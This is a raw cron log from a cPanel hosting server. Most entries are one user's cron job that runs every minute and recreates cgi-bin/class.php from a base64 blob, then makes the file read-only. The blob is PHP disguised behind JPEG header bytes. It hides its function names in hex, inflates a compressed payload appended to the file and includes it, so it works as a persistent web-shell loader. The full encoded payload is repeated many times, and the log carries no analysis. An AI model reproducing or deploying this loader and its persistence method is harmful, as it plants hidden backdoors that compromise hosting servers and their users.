Nov  9 06:44:01 server CROND[962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:45:01 server CROND[1812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:45:01 server CROND[1813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:45:01 server CROND[1814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:46:01 server CROND[2697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:47:01 server CROND[3536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:48:01 server CROND[4391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:49:01 server CROND[5229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:50:01 server CROND[6080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:50:01 server CROND[6082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:50:01 server CROND[6086]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 06:50:01 server CROND[6087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:50:01 server CROND[6088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:51:01 server CROND[6743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:52:01 server CROND[7575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:53:01 server CROND[8502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:54:01 server CROND[9491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:55:01 server CROND[10336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:55:01 server CROND[10337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:55:01 server CROND[10338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:56:01 server CROND[11268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
